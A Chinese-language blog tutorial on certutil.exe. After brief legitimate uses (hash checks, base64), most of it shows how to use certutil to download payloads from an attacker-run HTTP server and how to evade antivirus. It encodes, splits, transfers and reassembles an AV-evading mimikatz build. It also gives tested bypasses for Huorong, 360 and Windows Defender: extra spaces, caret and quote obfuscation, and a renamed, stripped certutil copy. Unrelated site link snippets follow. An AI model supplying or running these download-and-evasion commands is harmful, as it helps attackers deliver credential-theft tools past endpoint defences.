certutil工具使用和bypass学习

简介: certutil工具使用和bypass学习

1. certutil介绍


certutil.exe 是一个合法Windows文件,用于管理Windows证书的程序。

官方的解释是: certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。


以上参考至:https://docs.microsoft.com/zh-cn/windows-server/administration/windows-commands/certutil

certutilwindows下一款下载文件的工具,自从WindowsServer2003就自带,但是在Server 2003使用会有问题,也就是说,以下命令是在Win7及其以后的机器中使用。其功能可校验文件MD5SHA1SHA256,下载恶意文件和免杀。


以上参考至:[https://blog.csdn.net/bring_coco/article/details/117352716] (https://blog.csdn.net/bring_coco/article/details/117352716)

网上关于certutilbypass文章很多,但是我发现360很鸡贼,更新贼快,本文用其他的思路免杀看看。


2. 使用介绍


certutil -?的指令显示,当前可以做的东西非常的多:


2.1 文件下载


这个命令几乎是certutil使用最多的场景之一,在后面还会详细的介绍,首先在本地搭建一个http的服务:

此时的下载命令就是:

certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt  
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径,不加就下载到了默认路径。
-urlcache
显示或删除URL缓存条目。
无值的命令行选项。
(certutil.exe 下载有个弊端,它的每一次下载都有留有缓存。)
参考至:https://xz.aliyun.com/t/9737

使用certutil下载文件会产生缓存,用如下命令查看: certutil -urlcache *

使用命令将当前的缓存删除:

certutil -urlcache * delete

此时缓存已经删除 如果想以后下载文件不想要缓存的话,可以在下载文件结尾加上一个delete

certutil.exe -urlcache -split -f http://192.168.22.104/crow.txt delete


2.2 hash验证


linux下可以使用md5md5sum等校验hash

Windows上就可以使用certutil来计算:

certutil -hashfile crow.txt MD5 //检验MD5
certutil -hashfile crow.txt SHA1 //检验SHA1
certutil -hashfile crow.txt  SHA256 //检验SHA256


2.3 base64加解密


在这篇文章里面作者使用certutil对大文件进行了编码传输,并在文件传输之后,将文件进行了还原。

他主要使用的就是使用certutilencodedecode进行加解密。具体文章地址:https://xz.aliyun.com/t/9737

在这里我以自己以前做的免杀mimikatz复现一下。

首先将该文件使用certutil进行编码:

certutil -encode crowsec_bypass_mimikatz.exe m.txt

将文件使用notepad打开,当前文件一共9w多行:

按照作者的方法,我将文件分为3个:

使用ctrl + g进行快速定位:

当前分割之后的文件分别为1.txt 2.txt3.txt

然后再使用命令将当前的文件下载过来:

certutil.exe -urlcache -split -f http://192.168.22.104/1.txt 
certutil.exe -urlcache -split -f http://192.168.22.104/2.txt 
certutil.exe -urlcache -split -f http://192.168.22.104/3.txt

将3个文件合并到一个文件中去:

copy *.txt mimikatz.txt   //把当前目录下的所有txt合并为mimikatz.txt

然后对文件进行编码:

certutil -decode mimikatz.txt m.exe

此时文件的hash值和原来的hash值相同:


3. Bypass


在我执行命令的过程中,发现了好多次被各种av拦截,所以在这里学习下如何bypass

在下面这个链接中


https://view.inews.qq.com/a/20220530A04RST00

作者对于各种场景进行了bypass和分析,但是在这里发现其中有些方法已经失效了,某某某杀软更新频繁,基本上对着更新,速度很快,那再试试其他的方法吧。


3.1 火绒(已失效)


环境:windows7 + 最新版火绒 直接执行命令:

certutil -urlcache  -split -f http://192.168.22.102/1.txt
certutil -urlcache  -split -f http://192.168.22.102/2.txt
certutil -urlcache  -split -f http://192.168.22.102/3.txt

文件都下载下来了,火绒没有对此进行拦截,那如果下载一个exe呢?在这里下载一个cmd.exe试试:

certutil -urlcache  -split -f http://192.168.22.102/cmd.exe

f4cb99d87cf39f0f30d0c6f3762dbf20.png

我的火绒没有对此进行任何的拦截操作。。。。

后来才发现,原来是我的空格问题,我在-spilt之前多空了一格:

空格两个,bypass 火绒:certutil -urlcache  -split -f http://192.168.22.102/1.exe
正常的一个空格:certutil -urlcache -split -f http://192.168.22.102/1.exe


多余空格


所以bypass的方法就很多了,最简单的就是多空一格:

certutil -urlcache -split  -f http://192.168.22.102/1.exe  -f参数空两格


多余参数


不过可以在火绒中加上任意多余的参数:

certutil -urlcache -f -split -f http://192.168.22.102/1.exe


混淆字符


certutil -u^r^l^cache  -split -f http://192.168.22.102/1.exe


3.2 360


certutil -urlcache -split -f http://192.168.22.102/1.exe

直接被拦截:

通过学习可知,混淆无法绕过360,所以将certutil文件拷贝到当前目录,然后执行命令:

where certutil
copy C:\Windows\System32\certutil.exe crow.exe

再来执行命令试试:

crow -urlcache -split -f http://192.168.22.102/cmd.exe

依旧被拦截!执行crow -urlcache也是一样的结果:这说明360已经更新了,而且速度很快:

经过多次操作之后发现,基本上混淆啥的都是没用的,在这里使用restorator 2018这个工具打开看下,它可以修改exe的属性和图标等:

打开之后可以看到这里有很醒目的版本信息:

所以在这里对版本、图标等全部删除:

将文件另存为crow3.exe

crow3.exe -urlcache -split -f http://192.168.22.102/cmd.exe

此时文件下载成功。

所以对于360来说(截止2022.06.09)

where certutil
copy C:\Windows\System32\certutil.exe crow.exe
将crow.exe 去特征,再执行命令
crow3 -urlcache -split -f http://192.168.22.102/cmd.exe


3.3 windows Defender


当前环境为Windows10 ltsb 长期服务器版

启用windows Defender

直接执行的时候,直接杀

certutil -urlcache  -split -f http://192.168.22.102/cmd.exe

简单变形之后,还是杀

certutil -u^r^l^c^a^c^he  -split -f http://192.168.22.102/cmd.exe

使用刚刚过360的方法,一样被杀:

crow3 -urlcache -split -f http://192.168.22.102/cmd.exe

下面这个命令不杀:

crow3 -urlcache

继续:

crow3 -urlcache -split

crow3 -urlcache -split -f

crow3 -urlcache -split -f http:

很明显了,这里就开始杀了,要混淆才行。

crow3  -url""cache -split -f   http://192.168.22.102/cmd.exe

还是不行。

终于,使用"""bypass成功。

certutil  -url""""cache -split -f   http://192.168.22.102/cmd.exe

使用这个也可以绕过:

经过测试发现,使用""""都可以绕过windows Defender


4. 总结


针对certitul的使用,对av来说,查杀不算严格,cmd命令混淆的目的就是为这类服务的,对于不同的环境有不同的方法来做,不要太追求bypass everyone

本文跨度时间周期较长,其中的某些方法已经无法过杀软,仅供参考。

相关文章
|
安全 数据库 数据安全/隐私保护
密码管理工具-KeePass入门指南
密码管理工具-KeePass入门指南
819 0
|
6天前
|
Linux 数据处理 开发者
深入解析Linux中的paste命令:数据处理与分析的得力助手
`paste`命令在Linux中是数据处理的利器,它按列拼接多个文件内容,支持自定义分隔符和从标准输入读取。例如,合并`file1.txt`和`file2.txt`,使用`paste file1.txt file2.txt`,默认以制表符分隔;若要使用逗号分隔,可运行`paste -d ',' file1.txt file2.txt`。当文件行数不同时,较短文件后会填充空白行。结合管道符与其他命令使用,如`cat file1.txt | paste -s`,可按行合并内容。注意文件大小可能影响性能。
|
芯片 索引 内存技术
玩转parameter与localparameter,这篇文章就够了【Verilog高级教程】
玩转parameter与localparameter,这篇文章就够了【Verilog高级教程】
玩转parameter与localparameter,这篇文章就够了【Verilog高级教程】
|
前端开发
零基础CSS入门教程(18)——注释
我们可以看到在代码里面加注释,在网页上面是显示不出来的,我们要学会使用注释,并且养成使用注释的习惯。我们之前学习html的注释,不止是html有注释css也有注释。注释再我们英语和文言文里面很常见。/* 设置背景颜色和字体颜色 */
零基础CSS入门教程(18)——注释
Rust源码学习 - CombinedLintPass
# Rustc 源码学习 - CombinedLintPass - 时间:2022.9.2 - 撰稿:[张正](https://github.com/He1pa)@[KusionStack开发组](https://github.com/KusionStack/kusion) - 收录于:[rust-code-book](https://github.com/awesome-kusion/rust
Rust源码学习 - CombinedLintPass
详解Bypass UAC过程中踩过的坑(第一部分)
本文讲的是详解Bypass UAC过程中踩过的坑(第一部分),我目前正在尝试对Chrome沙盒进行一些改进。而作为其中的一部分,我现在正在对我的沙盒攻击Surface 分析工具进行更新,因为我想衡量我对Chrome做的事情是否具有实际的安全性。
2012 0